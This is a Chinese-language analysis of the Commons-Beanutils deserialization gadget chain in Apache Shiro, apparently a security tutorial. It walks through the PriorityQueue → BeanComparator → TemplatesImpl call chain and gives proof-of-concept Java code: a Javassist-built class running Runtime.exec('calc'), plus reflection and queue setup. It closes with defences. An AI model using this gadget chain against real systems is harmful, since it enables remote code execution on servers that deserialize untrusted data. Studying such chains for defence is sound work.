Shiro中的CB链分析
字数 1128 2025-08-20 18:18:05
Apache Shiro中Commons-Beanutils(CB)反序列化链分析
一、简介
Commons-Beanutils是Apache开源组织提供的用于操作Java Bean的工具包,它能够方便地对bean对象的属性进行操作。在Shiro环境中,CB是自带的依赖,因此这条反序列化链较为常见。
二、核心组件分析
1. PropertyUtils.getProperty()
PropertyUtils.getProperty()是commons-beanutils中提供的静态方法,允许直接调用任意JavaBean的getter和setter方法。
关键点:
- 通过反射机制调用对象的getter方法
- 可以触发任意getter方法的执行
- 方法签名:
public static Object getProperty(Object bean, String name)
2. TemplatesImpl利用链
TemplatesImpl类存在于com.sun.org.apache.xalan.internal.xsltc.trax包中,是Java XML处理的一部分,可以被利用来执行任意代码。
利用链:
TemplatesImpl#getOutputProperties()
→ TemplatesImpl#newTransformer()
→ TemplatesImpl#getTransletInstance()
→ TemplatesImpl#defineTransletClasses()
→ TransletClassLoader#defineClass()
关键点:
- 通过
_bytecodes字段可以加载恶意类 _name字段需要设置为非空值_tfactory字段需要设置为TransformerFactoryImpl实例- 静态代码块中的代码会在类加载时执行
3. BeanComparator类
BeanComparator是commons-beanutils中的比较器实现,在比较时会调用PropertyUtils.getProperty()方法。
关键点:
- 构造函数可以指定比较属性名
compare()方法会调用PropertyUtils.getProperty()- 默认比较属性为"null"
三、完整利用链分析
完整调用链:
PriorityQueue.readObject()
→ BeanComparator.compare()
→ PropertyUtils.getProperty()
→ TemplatesImpl.getOutputProperties()
→ TemplatesImpl.newTransformer()
→ TemplatesImpl.getTransletInstance()
→ TemplatesImpl.defineTransletClasses()
→ TransletClassLoader.defineClass()
→ 恶意类静态代码块执行
四、POC构造详解
1. 构造恶意类
使用Javassist工具构造恶意类:
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass testCtClass = classPool.makeClass("test");
testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor ctConstructor = testCtClass.makeClassInitializer();
ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\")");
byte[] classBytes = testCtClass.toBytecode();
2. 设置TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][] {classBytes});
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "Test");
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
3. 构造PriorityQueue链
BeanComparator comparator = new BeanComparator();
setFieldValue(comparator,"property","outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
setFieldValue(priorityQueue, "size", 2);
4. 辅助方法
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
五、防御措施
- 升级commons-beanutils到最新版本
- 在Shiro中配置反序列化过滤器
- 使用安全管理器限制危险操作
- 避免不可信数据的反序列化
六、总结
CB链是Shiro反序列化漏洞中常见的一条利用链,它结合了commons-beanutils的PropertyUtils.getProperty()方法和TemplatesImpl的类加载机制,通过PriorityQueue触发,最终实现任意代码执行。理解这条链的构造原理对于防御此类攻击至关重要。